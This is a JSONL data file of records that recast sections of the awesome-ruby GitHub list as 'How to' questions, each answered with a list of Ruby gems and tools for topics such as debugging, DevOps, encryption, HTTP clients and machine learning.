{"id": "gh_52d208724513", "question": "How to: Debugging Tools", "question_body": "About markets/awesome-ruby", "answer": "* [Byebug](https://github.com/deivid-rodriguez/byebug) - A simple to use, feature rich debugger for Ruby 2.\n* [did_you_mean](https://github.com/yuki24/did_you_mean) - Adds class, method & attribute suggestions to error messages.\n* [Pry Byebug](https://github.com/deivid-rodriguez/pry-byebug) - Pry navigation commands via byebug.\n* [pry-rails](https://github.com/rweng/pry-rails) - Avoid repeating yourself, use pry-rails instead of copying the initializer to every rails project. This is a small gem which causes rails console to open pry. It therefore depends on pry.\n* [Seeing Is Believing](https://github.com/JoshCheek/seeing_is_believing) - Displays the results of every line of code in your file.\n* [tapping_device](https://github.com/st0012/tapping_device) - A tool that allows you to inspect your program from an Object's perspective.\n* [Xray](https://github.com/brentd/xray-rails) - A development tool that reveals your UI's bones.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541009"}
{"id": "gh_3bcf0740df89", "question": "How to: Decorators", "question_body": "About markets/awesome-ruby", "answer": "* [Draper](https://github.com/drapergem/draper) - Draper adds an object-oriented layer of presentation logic to your Rails application.\n* [Decent Exposure](https://github.com/hashrocket/decent_exposure) - A helper for creating declarative interfaces in controllers.\n* [Responders](https://github.com/heartcombo/responders) - A set of Rails responders to dry up your application.\n* [ShowFor](https://github.com/heartcombo/show_for) - Quickly show a model information with I18n features. Like form_for for displaying model data.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541014"}
{"id": "gh_fe79646bca1d", "question": "How to: DevOps Tools", "question_body": "About markets/awesome-ruby", "answer": "* [Backup](https://github.com/backup/backup) - Provides an elegant DSL in Ruby for performing backups on UNIX-like systems.\n* [BOSH](https://github.com/cloudfoundry/bosh) - Cloud Foundry BOSH is an open source tool chain for release engineering, deployment and lifecycle management of large scale distributed services.\n* [Capistrano](http://capistranorb.com) - A remote server automation and deployment tool written in Ruby.\n* [Centurion](https://github.com/newrelic/centurion) - A mass deployment tool for Docker fleets.\n* [Chef](https://github.com/chef/chef) - A systems integration framework, built to bring the benefits of configuration management to your entire infrastructure.\n* [Einhorn](https://github.com/stripe/einhorn) - Einhorn will open one or more shared sockets and run multiple copies of your process. You can seamlessly reload your code, dynamically reconfigure Einhorn, and more.\n* [Itamae](https://github.com/itamae-kitchen/itamae) - Simple and lightweight configuration management tool inspired by Chef.\n* [Kanrisuru](https://github.com/avamia/kanrisuru) - Manage remote infrastructure in Ruby\n* [Lita](https://www.lita.io/) - ChatOps for Ruby: A pluggable chat bot framework usable with any chat service.\n* [Logstash](https://github.com/elastic/logstash) - Logs/event transport, processing, management, search.\n* [Kamal](https://github.com/basecamp/kamal) - Kamal offers zero-downtime deploys, rolling restarts, asset bridging, remote builds, accessory service management, and everything else you need to deploy and manage your web app in production with Docker.\n* [Mina](https://github.com/mina-deploy/mina) - Really fast deployer and server automation tool.\n* [Puppet](https://github.com/puppetlabs/puppet) - An automated administrative engine for your Linux, Unix, and Windows systems, performs administrative tasks (such as adding users, installing packages, and updating server configurations) based on a centralized specification.\n* [Rubber](https://github.com/rubber/rubber) - The rubber plugin enables relatively complex multi-instance deployments of RubyOnRails applications to Amazon's Elastic Compute Cloud (EC2).\n* [SSHKey](https://github.com/bensie/sshkey) - SSH private and public key generator in pure Ruby (RSA & DSA).\n* [Sunzi](https://github.com/kenn/sunzi) - Server provisioning utility for minimalists\n* [Ruby-LXC](https://github.com/lxc/ruby-lxc) - Native ruby binding for Linux containers.\n* [Vagrant](http://www.vagrantup.com) - Create and configure lightweight, reproducible, and portable development environments.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541023"}
{"id": "gh_a2ebbb669076", "question": "How to: Documentation", "question_body": "About markets/awesome-ruby", "answer": "* [AnnotateRb](https://github.com/drwl/annotaterb) - Adds database schema annotations for your ActiveRecord models as text comments as well as routes. An active and maintained hard fork of Annotate.\n* [Apipie](https://github.com/Apipie/apipie-rails) - Rails API documentation and display tool using Ruby syntax.\n* [Asciidoctor](https://asciidoctor.org) - A fast, Ruby-based text processor & publishing toolchain for converting AsciiDoc to HTML5, DocBook, EPUB3, PDF & more.\n* [Documentation](https://github.com/adamcooke/documentation) - A Rails engine to provide the ability to add documentation to a Rails application.\n* [fitting](https://github.com/tuwilof/fitting) - Library add improve test log for RSpec and WebMock, validate its according to API Blueprint and Open API, show the documentation coverage with log.\n* [GitHub Changelog Generator](https://github.com/github-changelog-generator/github-changelog-generator) - Automatically generate change log from your tags, issues, labels and pull requests on GitHub.\n* [Gollum](https://github.com/gollum/gollum) - A simple, Git-powered wiki with a sweet API and local frontend.\n* [grape-swagger](https://github.com/ruby-grape/grape-swagger) - Add swagger compliant documentation to your Grape API.\n* [Hanna](https://github.com/rdoc/hanna-nouveau) - An RDoc formatter built with simplicity, beauty and ease of browsing in mind.\n* [Hologram](https://github.com/trulia/hologram) - A markdown based documentation system for style guides. It parses comments in your CSS and helps you turn them into a beautiful style guide.\n* [Inch](https://github.com/rrrene/inch) - Inch is a documentation measurement and evalutation tool for Ruby code, based on YARD.\n* [RDoc](https://github.com/ruby/rdoc) - RDoc produces HTML and command-line documentation for Ruby projects.\n* [rspec_api_documentation](https://github.com/zipmark/rspec_api_documentation) - Automatically generate API documentation from RSpec.\n* [YARD](http://yardoc.org) - YARD enables the user to generate consistent, usable documentation that can be exported to a number of formats very easily.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541033"}
{"id": "gh_a8bcd82f3c48", "question": "How to: E-Commerce and Payments", "question_body": "About markets/awesome-ruby", "answer": "* [Active Merchant](https://github.com/activemerchant/active_merchant) - A simple payment abstraction library extracted from Shopify.\n* [Braintree](https://github.com/braintree/braintree_ruby) - Braintree Ruby bindings.\n* [Conekta](https://github.com/conekta/conekta-ruby) - Conekta Ruby bindings.\n* [credit_card_validations](https://github.com/didww/credit_card_validations) - A ruby gem for validating credit card numbers, generating valid numbers, Luhn checks.\n* [Paypal Merchant SDK](https://github.com/paypal/merchant-sdk-ruby) - Official Paypal Merchant SDK for Ruby.\n* [ROR Ecommerce](https://github.com/drhenner/ror_ecommerce) - A Rails e-commerce platform.\n* [Solidus](https://github.com/solidusio/solidus) - An open source, eCommerce application for high volume retailers.\n* [Spree](https://github.com/spree/spree) - Spree is a complete open source e-commerce solution for Ruby on Rails.\n* [SquareConnect](https://github.com/square/connect-ruby-sdk) - Square's SDK for payments and other Square APIs.\n* [stripe-ruby](https://github.com/stripe/stripe-ruby) - Stripe Ruby bindings.\n* [Workarea](https://github.com/workarea-commerce/workarea) - An extensible, high-performance eCommerce platform depended on by some of the world's top retailers.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541040"}
{"id": "gh_d2ead584824a", "question": "How to: Encryption", "question_body": "About markets/awesome-ruby", "answer": "* [bcrypt-ruby](https://github.com/codahale/bcrypt-ruby) - bcrypt-ruby is a Ruby binding for the OpenBSD bcrypt() password hashing algorithm.\n* [RbNaCl](https://github.com/cryptosphere/rbnacl) - Ruby binding to the Networking and Cryptography (NaCl) library.\n* [Sym](https://github.com/kigster/sym) - A time-saving symmetric encryption gem based on OpenSSL that uses 256bit (password-encrypted) keys. Read the key from STDIN, a file, ENV or, on a Mac: OS-X Keychain.\n* [Symmetric Encryption](https://encryption.rocketjob.io/) - Transparently encrypt ActiveRecord, Mongoid, and MongoMapper attributes. Encrypt passwords in configuration files. Encrypt entire files at rest.\n* [Themis](https://github.com/cossacklabs/themis) - crypto library for painless data security, providing symmetric and asymmetric encryption, secure sockets with forward secrecy, for mobile and server platforms.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541047"}
{"id": "gh_56ccbdb24148", "question": "How to: Environment Management", "question_body": "About markets/awesome-ruby", "answer": "* [chruby](https://github.com/postmodern/chruby) - Change your current Ruby. No shims, no crazy options or features, ~90 LOC.\n* [fry](https://github.com/terlar/fry) - Simple ruby version manager for fish.\n* [gem_home](https://github.com/postmodern/gem_home) - A tool for changing your $GEM_HOME.\n* [rbenv](https://github.com/sstephenson/rbenv) - Use rbenv to pick a Ruby version for your application and guarantee that your development environment matches production.\n* [ruby-build](https://github.com/sstephenson/ruby-build) - Compile and install Ruby.\n* [ruby-install](https://github.com/postmodern/ruby-install) - Installs Ruby, JRuby, Rubinius, MagLev or MRuby.\n* [RVM](https://rvm.io) - RVM is a command-line tool which allows you to easily install, manage, and work with multiple ruby environments from interpreters to sets of gems.\n* [Tokaido](https://github.com/tokaido/tokaidoapp/releases) - Ruby, Rails, SQLite and Redis encapsulated in a single drag-and-drop OS X app, designed to make installing a working RoR environment easy for beginners.\n* [Uru](https://bitbucket.org/jonforums/uru) - Uru is a lightweight, multi-platform command line tool that helps you use the multiple rubies on your 32/64-bit Linux, OS X, or Windows systems.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541054"}
{"id": "gh_aacb4d07afde", "question": "How to: Error Handling", "question_body": "About markets/awesome-ruby", "answer": "* [Airbrake](https://github.com/airbrake/airbrake) - The official Airbrake library for Ruby on Rails (and other Rack based frameworks).\n* [Better Errors](https://github.com/charliesome/better_errors) - Better error page for Rack apps.\n* [Bugsnag](https://github.com/bugsnag/bugsnag-ruby) - Error monitoring for Rails, Sinatra, Rack, and plain Ruby apps.\n* [Errbit](https://github.com/errbit/errbit) - The open source, self-hosted error catcher.\n* [Exception Handler](https://github.com/richpeck/exception_handler) - Custom error pages.\n* [Exception Notification](https://github.com/smartinez87/exception_notification) - A set of notifiers for sending notifications when errors occur in a Rack/Rails application.\n* [Honeybadger](https://www.honeybadger.io/) - Exception, uptime, and performance monitoring for Ruby.\n* [Nesty](https://github.com/skorks/nesty) - Nested exceptions for Ruby.\n* [Sentry Ruby](https://github.com/getsentry/sentry-ruby) - The Ruby client for Sentry.\n* [Rollbar](https://github.com/rollbar/rollbar-gem) - Easy and powerful exception and error tracking for your applications.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541060"}
{"id": "gh_cb510d8e184c", "question": "How to: Event Sourcing", "question_body": "About markets/awesome-ruby", "answer": "* [Eventide Project](https://eventide-project.org) - Pub/sub, event sourcing, and evented autonomous services backed by the [Message DB](https://github.com/message-db/message-db) message store.\n* [Rails Event Store (RES)](https://github.com/RailsEventStore/rails_event_store) - A library for publishing, consuming, storing and retrieving events. It's your best companion for going with an event-driven architecture for your Rails application.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541065"}
{"id": "gh_ae1c19657315", "question": "How to: Feature Flippers and A/B Testing", "question_body": "About markets/awesome-ruby", "answer": "* [Motorhead](https://github.com/amatsuda/motorhead) - A Rails Engine framework that helps safe and rapid feature prototyping.\n* [flipper](https://github.com/jnunemaker/flipper) - Feature flipping for ANYTHING. Make turning features on/off so easy that everyone does it. Whatever your data store, throughput, or experience.\n* [Rollout](https://github.com/FetLife/rollout) - Feature flippers.\n* [Split](https://github.com/splitrb/split) - Rack Based AB testing framework.\n* [Unleash](https://github.com/Unleash/unleash-client-ruby) - Ruby client for Unleash, a powerful feature toggle system that gives you a great overview over all feature toggles across all your applications and services.\n* [Vanity](https://github.com/assaf/vanity) - an A/B testing framework for Rails that is datastore agnostic.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541071"}
{"id": "gh_90dd9ba0ff52", "question": "How to: File Upload", "question_body": "About markets/awesome-ruby", "answer": "* [attache](https://github.com/choonkeat/attache) - Standalone image and file server to decouple your app from file management concerns.\n* [CarrierWave](https://github.com/carrierwaveuploader/carrierwave) - Classier solution for file uploads for Rails, Sinatra and other Ruby web frameworks.\n* [DragonFly](https://github.com/markevans/dragonfly) - A Ruby gem for on-the-fly processing - suitable for image uploading in Rails, Sinatra and much more!.\n* [PaperClip](https://github.com/thoughtbot/paperclip) - Easy file attachment management for ActiveRecord. Deprecated as of May 14, 2018.\n* [rack-secure-upload](https://github.com/dtaniwaki/rack-secure-upload) - Upload files securely.\n* [Refile](https://github.com/refile/refile) - A modern file upload library for Ruby applications, Refile is an attempt by CarrierWave's original author to fix the design mistakes and overengineering in CarrierWave.\n* [Shrine](https://github.com/janko-m/shrine) - Toolkit for handling file uploads in Ruby.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541077"}
{"id": "gh_a94ab05bb8d1", "question": "How to: File System Listener", "question_body": "About markets/awesome-ruby", "answer": "* [Guard](https://github.com/guard/guard) - A command line tool to easily handle events on file system modifications.\n* [Guard::LiveReload](https://github.com/guard/guard-livereload) - Automatically reload your browser when 'view' files are modified.\n* [Listen](https://github.com/guard/listen) - The Listen gem listens to file modifications and notifies you about the changes.\n* [Rerun](https://github.com/alexch/rerun) - Restarts an app when the filesystem changes. Uses growl and FSEventStream if on OS X.\n* [Retest](https://github.com/alexb52/retest) - A simple CLI to watch file changes and run their matching Ruby specs. Works on any ruby projects with no setup.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541082"}
{"id": "gh_f654a7eea7a9", "question": "How to: Form Builder", "question_body": "About markets/awesome-ruby", "answer": "* [Cocoon](https://github.com/nathanvda/cocoon) - Dynamic nested forms using jQuery made easy; works with formtastic, simple_form or default forms.\n* [ComfyBootstrapForm](https://github.com/comfy/comfy-bootstrap-form) - Rails form builder that makes it easy to create forms with Bootstrap 4 markup\n* [Formtastic](https://github.com/justinfrench/formtastic) - A Rails form builder plugin with semantically rich and accessible markup.\n* [Rails Bootstrap Forms](https://github.com/bootstrap-ruby/rails-bootstrap-forms) - Rails form builder that makes it super easy to create beautiful-looking forms with Twitter Bootstrap 3+.\n* [Rapidfire](https://github.com/code-mancers/rapidfire) - Making dynamic surveys should be easy!\n* [Reform](https://github.com/apotonick/reform) - Gives you a form object with validations and nested setup of models. It is completely framework-agnostic and doesn't care about your database.\n* [Simple Form](https://github.com/heartcombo/simple_form) - Rails forms made easy.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541088"}
{"id": "gh_33134b8e4c5f", "question": "How to: Game Development and Graphics", "question_body": "About markets/awesome-ruby", "answer": "* [Dragon Ruby](https://dragonruby.org/) - DragonRuby is a zero dependency, cross platform, Ruby runtime built on top of mRuby, libSDL, and LLVM. Write Ruby on any OS and deploy to PC, Mac, Linux, iOS, Android, Raspberry Pi, WASM, Nintendo Switch, Sony Playstation, and Microsoft Xbox.\n* [Gosu](http://www.libgosu.org) - A 2D game development library for the Ruby and C++ programming languages.\n* [Mittsu](https://github.com/jellymann/mittsu) - Mittsu makes 3D graphics easier by providing an abstraction over OpenGL, and is based heavily off of THREE.js.\n* [Ruby 2D](https://github.com/ruby2d/ruby2d) - Create cross-platform 2D applications, games, and visualizations with ease.\n* [Taylor](https://github.com/HellRok/Taylor) - Taylor is a game engine built using mruby and raylib.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541094"}
{"id": "gh_0de920a69a38", "question": "How to: Gem Generators", "question_body": "About markets/awesome-ruby", "answer": "* [Gemsmith](https://github.com/bkuhlmann/gemsmith) - A command line interface for smithing new Ruby gems.\n* [Hoe](http://www.zenspider.com/projects/hoe.html) - Hoe is a Rake/RubyGems helper for project Rakefiles.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541099"}
{"id": "gh_2f9767d6eeef", "question": "How to: Gem Servers", "question_body": "About markets/awesome-ruby", "answer": "* [Gemfast](https://github.com/gemfast/server) - A drop in replacement for geminabox written in Go.\n* [Gem in a box](https://github.com/geminabox/geminabox) - Really simple rubygem hosting.\n* [Gemirro](https://github.com/PierreRambaud/gemirro) - Gem to automatically make a rubygems mirror.\n* [Gemstash](https://github.com/rubygems/gemstash) - A RubyGems.org cache and private gem server.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541104"}
{"id": "gh_197c667d93d8", "question": "How to: Geolocation", "question_body": "About markets/awesome-ruby", "answer": "* [Geocoder](https://github.com/alexreisner/geocoder) - A complete geocoding solution for Ruby. With Rails it adds geocoding (by street or IP address), reverse geocoding (find street address based on given coordinates), and distance queries.\n* [geoip](https://github.com/cjheath/geoip) - Searches a GeoIP database for a given host or IP address, and returns information about the country where the IP address is allocated, and the city, ISP and other information.\n* [Geokit](https://github.com/geokit/geokit) - Geokit gem provides geocoding and distance/heading calculations.\n* [Google Maps for Rails](https://github.com/apneadiving/Google-Maps-for-Rails) - Enables easy Google map + overlays creation in Ruby apps.\n* [IP2Location.io](https://github.com/ip2location/ip2location-io-ruby) - A Ruby SDK allows user to query for an enriched data set based on IP address and provides WHOIS lookup api that helps users to obtain domain information.\n* [rgeo](https://github.com/rgeo/rgeo) - Geospatial data library. Spatial data types, geometric and spherical calculations, and WKT/WKB serialization.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541110"}
{"id": "gh_d22a5dd45951", "question": "How to: HTML/XML Parsing", "question_body": "About markets/awesome-ruby", "answer": "* [HappyMapper](https://github.com/dam5s/happymapper) - Object to XML mapping library, using Nokogiri.\n* [HTML::Pipeline](https://github.com/jch/html-pipeline) - HTML processing filters and utilities.\n* [Nokogiri](https://nokogiri.org) - An HTML, XML, SAX, and Reader parser with XPath and CSS selector support.\n* [Nokolexbor](https://github.com/serpapi/nokolexbor) - High-performance HTML5 parser based on Lexbor, with support for both CSS selectors and XPath.\n* [Oga](https://gitlab.com/yorickpeterse/oga) - An XML/HTML parser written in Ruby. Oga does not require system libraries such as libxml, making it easier and faster to install on various platforms.\n* [Ox](https://github.com/ohler55/ox) - A fast XML parser and Object marshaller.\n* [ROXML](https://github.com/Empact/roxml) - Custom mapping and bidirectional marshalling between Ruby and XML using annotation-style class methods, via Nokogiri or LibXML.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541118"}
{"id": "gh_f89498abb2d4", "question": "How to: HTTP Clients and tools", "question_body": "About markets/awesome-ruby", "answer": "* [Accept Language](https://github.com/cyril/accept_language.rb) - A tiny library for parsing the `Accept-Language` header from browsers (as defined in [RFC 2616](https://datatracker.ietf.org/doc/html/rfc2616#section-14.4)).\n* [excon](https://github.com/excon/excon) - Usable, fast, simple Ruby HTTP 1.1. It works great as a general HTTP(s) client and is particularly well suited to usage in API clients.\n* [Faraday](https://github.com/lostisland/faraday) - an HTTP client lib that provides a common interface over many adapters (such as Net::HTTP) and embraces the concept of Rack middleware when processing the request/response cycle.\n* [Device Detector](https://github.com/podigee/device_detector) - A precise and fast user agent parser and device detector, backed by the largest and most up-to-date user agent database.\n* [Http Client](https://github.com/nahi/httpclient) - Gives something like the functionality of libwww-perl (LWP) in Ruby.\n* [HTTP](https://github.com/httprb/http) - The HTTP Gem: a simple Ruby DSL for making HTTP requests.\n* [HTTPX](https://gitlab.com/honeyryderchuck/httpx) - Pure ruby HTTP client, supports HTTP/2 and HTTP/1, concurrent requests, plugin system for extended features (cookies, retries, following redirects, proxy, streaming...).\n* [httparty](https://github.com/jnunemaker/httparty) - Makes http fun again!\n* [Http-2](https://github.com/igrigorik/http-2) - Pure Ruby implementation of HTTP/2 protocol\n* [Patron](https://github.com/toland/patron) - Patron is a Ruby HTTP client library based on libcurl.\n* [RESTClient](https://github.com/rest-client/rest-client) - Simple HTTP and REST client for Ruby, inspired by microframework syntax for specifying actions.\n* [Rack::Cors](https://github.com/cyu/rack-cors) - Cross-Origin Resource Sharing (CORS) middleware for Rack applications.\n* [Savon](https://github.com/savonrb/savon) - Savon is a SOAP client for the Ruby programming language.\n* [Sawyer](https://github.com/lostisland/sawyer) - Secret user agent of HTTP, built on top of Faraday.\n* [Sniffer](https://github.com/aderyabin/sniffer) – Tool to log and debug outgoing HTTP requests across multiple ruby libraries.\n* [Typhoeus](https://github.com/typhoeus/typhoeus) - Typhoeus wraps libcurl in order to make fast and reliable requests.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541129"}
{"id": "gh_382f1ec281d7", "question": "How to: Image Processing", "question_body": "About markets/awesome-ruby", "answer": "* [FastImage](https://github.com/sdsykes/fastimage) - FastImage finds the size or type of an image given its uri by fetching as little as needed.\n* [ImageProcessing](https://github.com/janko/image_processing) - High-level image processing wrapper for libvips and ImageMagick/GraphicsMagick\n* [MiniMagick](https://github.com/minimagick/minimagick) - A ruby wrapper for ImageMagick or GraphicsMagick command line.\n* [Phasion](https://github.com/westonplatter/phashion) - Ruby wrapper around pHash, the perceptual hash library for detecting duplicate multimedia files.\n* [PSD.rb](https://github.com/layervault/psd.rb) - Parse Photoshop files in Ruby with ease.\n* [RMagick](https://github.com/rmagick/rmagick) - RMagick is an interface between Ruby and ImageMagick.\n* [ruby-vips](https://github.com/jcupitt/ruby-vips) - A binding for the libvips image processing library.\n* [Skeptick](https://github.com/maxim/skeptick) - Skeptick is an all-purpose DSL for building and running ImageMagick commands.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541135"}
{"id": "gh_7b748e480612", "question": "How to: Implementations/Compilers", "question_body": "About markets/awesome-ruby", "answer": "* [JRuby](https://github.com/jruby/jruby) - A Java implementation of the Ruby language.\n* [MRuby](https://github.com/mruby/mruby) - Lightweight Ruby. Can be linked and embedded in your application.\n* [Natalie](https://github.com/natalie-lang/natalie) - Natalie is a Ruby compiler that provides an ahead-of-time compiler using C++ and gcc/clang as the backend.\n* [Opal](https://github.com/opal/opal) - Ruby to Javascript compiler.\n* [Rubinius](https://github.com/rubinius/rubinius) - An implementation of the Ruby programming language. Rubinius includes a bytecode virtual machine, Ruby syntax parser, bytecode compiler, generational garbage collector, just-in-time (JIT) native machine code compiler, and Ruby Core and Standard libraries.\n* [TruffleRuby](https://github.com/oracle/truffleruby) - A high performance implementation of the Ruby programming language. Built on the GraalVM by Oracle Labs.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541141"}
{"id": "gh_8265039e904b", "question": "How to: Internationalization", "question_body": "About markets/awesome-ruby", "answer": "* [FastGettext](https://github.com/grosser/fast_gettext) - Ruby internationalization tool with less memory, simple, clean namespace and threadsafe.\n* [Globalize](https://github.com/globalize/globalize) - Globalize builds on the I18n API in Ruby on Rails to add model translations to ActiveRecord models.\n* [i18n-tasks](https://github.com/glebm/i18n-tasks) - Manage missing and unused translations with the awesome power of static analysis.\n* [i18n](https://github.com/svenfuchs/i18n) - Ruby Internationalization and localization solution.\n* [mini_i18n](https://github.com/markets/mini_i18n) - Minimalistic, flexible and fast Internationalization library. It supports localization, interpolations, pluralization, fallbacks, nested keys and more.\n* [rails-i18n](https://github.com/svenfuchs/rails-i18n) - Repository for collecting Locale data for Rails I18n as well as other interesting, Rails related I18n stuff.\n* [r18n](https://github.com/ai/r18n) - Advanced i18n library for Rails, Sinatra, desktop apps, models, works well with complex languages like Russian.\n* [Termit](https://github.com/pawurb/termit) - Translations with speech synthesis in your terminal.\n* [Tolk](https://github.com/tolk/tolk) - A web interface for doing i18n translations packaged as a Rails engine.\n* [twitter-cldr-rb](https://github.com/twitter/twitter-cldr-rb) - Ruby implementation of the ICU (International Components for Unicode) that uses the Common Locale Data Repository to format dates, plurals, and more.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541147"}
{"id": "gh_a7d2220c576a", "question": "How to: Machine Learning", "question_body": "About markets/awesome-ruby", "answer": "* [AI4R](https://github.com/sergiofierens/ai4r) - Algorithms covering several Artificial intelligence fields.\n* [Awesome Machine Learning with Ruby](https://github.com/arbox/machine-learning-with-ruby) - A Curated List of Ruby Machine Learning Links and Resources.\n* [langchain.rb](https://github.com/patterns-ai-core/langchainrb) - Library for building LLM-powered applications in Ruby.\n* [m2cgen](https://github.com/BayesWitnesses/m2cgen) - A CLI tool to transpile trained classic ML models into a native Ruby code with zero dependencies.\n* [PredictionIO Ruby SDK](https://github.com/PredictionIO/PredictionIO-Ruby-SDK) - The PredictionIO Ruby SDK provides a convenient API to quickly record your users' behavior and retrieve personalized predictions for them.\n* [rb-libsvm](https://github.com/febeling/rb-libsvm) - Ruby language bindings for LIBSVM. SVM is a machine learning and classification algorithm.\n* [ruby-fann](https://github.com/tangledpath/ruby-fann) - Ruby library for interfacing with FANN (Fast Artificial Neural Network).\n* [ruby-openai](https://github.com/alexrudall/ruby-openai) - OpenAI API + Ruby!\n* [rumale](https://github.com/yoshoku/rumale) - A machine learning library with interfaces similar to Scikit-Learn.\n* [TensorFlow](https://github.com/ankane/tensorflow) - The end-to-end machine learning platform for Ruby.\n* [Torch.rb](https://github.com/ankane/torch.rb) - Deep learning for Ruby, powered by LibTorch.\n* [weka](https://github.com/paulgoetze/weka-jruby) - Machine learning and data mining algorithms for JRuby.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541156"}
{"id": "gh_664f14961d66", "question": "How to: Markdown Processors", "question_body": "About markets/awesome-ruby", "answer": "* [kramdown](https://github.com/gettalong/kramdown) - Kramdown is yet-another-markdown-parser but fast, pure Ruby, using a strict syntax definition and supporting several common extensions.\n* [markdown_helper](https://github.com/BurdetteLamar/markdown_helper#markdown-helper) - A markdown pre-processor implementing file inclusion and page TOC (table of contents).\n* [Maruku](https://github.com/bhollis/maruku) - A pure-Ruby Markdown-superset interpreter.\n* [Redcarpet](https://github.com/vmg/redcarpet) - A fast, safe and extensible Markdown to (X)HTML parser.\n* [word-to-markdown](https://github.com/benbalter/word-to-markdown) - Gem to convert Microsoft Word documents to Markdown.\n* [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown) - A powerful tool that allows you to effortlessly download and convert your Medium posts to Markdown format.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541162"}
